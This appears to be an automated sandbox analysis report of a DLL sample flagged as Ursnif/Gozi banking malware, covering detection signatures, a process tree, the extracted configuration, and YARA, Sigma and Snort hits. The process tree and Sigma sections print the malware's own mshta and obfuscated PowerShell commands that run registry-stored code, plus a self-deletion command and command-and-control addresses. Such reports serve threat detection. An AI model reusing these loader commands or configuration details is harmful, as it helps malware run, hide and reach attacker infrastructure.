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Windows Analysis Report
VoevdOQpeU.dll

Overview

General Information

Sample Name:	VoevdOQpeU.dll
Analysis ID:	614287
MD5:	ba155d8aed7ca303fcfc3f0248d218e1
SHA1:	600453c21cdbecdbea9c825df4754b8a1829d649
SHA256:	a5ea92139f59d185548e8f48d1ce65cbf54bf1e3e1930de221091017fd1d4f0a
Tags:	dllGoziISFBUrsnif
Infos:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected Ursnif

System process connects to network (likely due to code injection or exploit)

Sigma detected: Windows Shell File Write to Suspicious Folder

Writes to foreign memory regions

Sigma detected: Accessing WinAPI in PowerShell. Code Injection

Sigma detected: Suspicious Remote Thread Created

Machine Learning detection for sample

Uses ping.exe to check the status of other devices and networks

Self deletion via cmd delete

Sigma detected: MSHTA Spawning Windows Shell

Uses ping.exe to sleep

Injects code into the Windows Explorer (explorer.exe)

Sigma detected: Suspicious Call by Ordinal

Sigma detected: Mshta Spawning Windows Shell

Creates a thread in another existing process (thread injection)

Writes registry values via WMI

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

One or more processes crash

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Sigma detected: Suspicious Rundll32 Activity

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Searches for the Microsoft Outlook file path

Drops PE files

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Sigma detected: Suspicious Csc.exe Source File Folder

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Compiles C# or VB.Net code

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 1428 cmdline: loaddll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 1796 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5292 cmdline: rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

control.exe (PID: 6956 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)

rundll32.exe (PID: 7132 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)

WerFault.exe (PID: 3084 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 608 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 5640 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 616 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 4144 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 608 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

mshta.exe (PID: 6532 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Xf38='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Xf38).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)

powershell.exe (PID: 6612 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

csc.exe (PID: 6788 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)

cvtres.exe (PID: 6804 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2392.tmp" "c:\Users\user\AppData\Local\Temp\poet0yxq\CSCB57F583549494C91A9647985948976.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)

csc.exe (PID: 6844 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bscdh0f0\bscdh0f0.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)

cvtres.exe (PID: 6920 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3B60.tmp" "c:\Users\user\AppData\Local\Temp\bscdh0f0\CSCCEA1AC591E3E41DFA7DCA22F6F20A95.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)

explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

cmd.exe (PID: 4432 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\VoevdOQpeU.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PING.EXE (PID: 5388 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "pL7U8jIQ6Xyci+KwkOGf1cPW2/Fhd+dF//sxc+w06EDUcByHCNEeq3AMzyjoircBRXTmPPIhcdpmz3ebzg0LE5DJtHXLGNdffU4pfKjfVhDmO/39S4DkofaSw/DfVYS7XTULsvD4OgcLpBmdb9KtHDr5tcYukmu8ER2eGMJKWWH3QPIgCCGjluPn4AJBYaVv+PYiV87aKNKmQY2QyHTRdeOeR6t/zjeQ8WAxQr1ckNg8DXeFDVPzLqKlTMh9JNV1/WxJWw/i0NwLqKGVqwwhDZj7TdIN07N7A3Nsw4LKUmopfR2v3CfaFAElEJJF5iXQZdDs3LWMU3fma/lDGlnr41o8sOGT4DKtfI59bD0qne8=", "c2_domain": ["config.edge.skype.com", "67.43.234.14", "config.edge.skype.com", "67.43.234.37", "config.edge.skype.com", "67.43.234.47"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Q8tR9QJN7lLzOLle", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8,  *terminal* *debug**snif* *shark*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "999", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.260779553.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.308220825.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.260884971.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000002.421966249.0000000005800000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.307999471.0000000004EF9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.309153947.0000000004D7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.306041676.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.418290264.0000000004899000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.307957841.0000000004E7A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.261032532.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.261191379.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.260987111.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.261105592.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000018.00000003.369967418.000001909FD9C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.261071181.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.365233310.0000000005D78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.261177888.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000002.420929959.0000000004BFF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 5292	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: powershell.exe PID: 6612	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author
2.3.rundll32.exe.48994a0.7.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.2.rundll32.exe.49f0000.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.48994a0.7.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.4e7a4a0.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.4f26940.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.4ef94a0.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.4e7a4a0.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Windows Shell File Write to Suspicious Folder

Source: File created

Author: Florian Roth: Data: EventID: 11, Image: C:\Windows\System32\mshta.exe, ProcessId: 6532, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Caches

Sigma detected: Accessing WinAPI in PowerShell. Code Injection

Source: Threat created

Author: Nikita Nazarov, oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 6612, StartAddress: 2BC1580, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 3616

Sigma detected: Suspicious Remote Thread Created

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 6612, StartAddress: 2BC1580, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 3616

Sigma detected: MSHTA Spawning Windows Shell

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Xf38='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Xf38).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6532, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6612, ProcessName: powershell.exe

Sigma detected: Suspicious Call by Ordinal

Source: Process started

Author: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1796, ParentProcessName: cmd.exe, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1, ProcessId: 5292, ProcessName: rundll32.exe

Sigma detected: Mshta Spawning Windows Shell

Source: Process started

Author: Florian Roth: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Xf38='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Xf38).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6532, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6612, ProcessName: powershell.exe

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h, CommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: C:\Windows\system32\control.exe -h, ParentImage: C:\Windows\System32\control.exe, ParentProcessId: 6956, ParentProcessName: control.exe, ProcessCommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h, ProcessId: 7132, ProcessName: rundll32.exe

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6612, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.cmdline, ProcessId: 6788, ProcessName: csc.exe

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6612, TargetFilename: C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.cmdline

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Xf38='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Xf38).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6532, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6612, ProcessName: powershell.exe

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132951679509388866.6612.DefaultAppDomain.powershell

Source: Process started

Author: frack113: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6612, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 6644, ProcessName: conhost.exe

Snort Signatures

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 146.70.35.138

Timestamp:	04/23/22-08:12:19.910177 04/23/22-08:12:19.910177
SID:	2033203
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 146.70.35.138

Timestamp:	04/23/22-08:12:21.823792 04/23/22-08:12:21.823792
SID:	2033203
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 13.107.42.16

Timestamp:	04/23/22-08:11:59.593120 04/23/22-08:11:59.593120
SID:	2033203
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 146.70.35.138

Timestamp:	04/23/22-08:12:20.776897 04/23/22-08:12:20.776897
SID:	2033203
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

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VoevdOQpeU.dll

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Threatname: Ursnif

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Threatname: Ursnif

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VoevdOQpeU.dll